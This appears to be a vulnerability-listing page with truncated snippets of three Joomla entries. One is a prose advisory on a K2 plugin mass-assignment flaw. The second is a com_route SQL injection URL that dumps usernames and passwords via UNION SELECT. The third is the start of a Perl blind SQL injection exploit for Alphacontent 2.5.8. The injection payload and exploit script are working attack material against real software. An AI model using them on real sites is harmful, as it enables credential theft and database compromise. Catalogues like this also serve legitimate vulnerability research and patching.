EUVD-2026-39438

K2 ≤ 2.24 contains a mass-assignment defect in the K2 system user plugin plguserk2. A Registered Joomla user, by including the field K2UserForm=1 in a standard comusers profile.save POST, can write arbitrary values into the notes, image, and plugins columns of their own row in the k2users table —...

Joomla! Component com_route - SQL Injection

Joomla comroute&kid Sql Injection Vulnerability N2n-Hacker ----- [email protected] Searching = ---" option=comroute "--- USING = http://www.site.com/index.php?option=comroute&kid=-35022+ UNION+SELECT+1,concatusername,0x3a,password,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21 FROM JOOMLA...

Joomla! Component Alphacontent 2.5.8 - Blind SQL Injection

Joomla! Component Alphacontent 2.5.8 - Blind SQL Injection !/usr/bin/perl eSploit Framework - Inphex use Digest::MD5 qwmd5 md5hex md5base64; use LWP::UserAgent; use HTTP::Cookies; use Switch; $host = shift; $path = shift; $id = shift; $nonfind = shift; choose anything thats inside the article of ...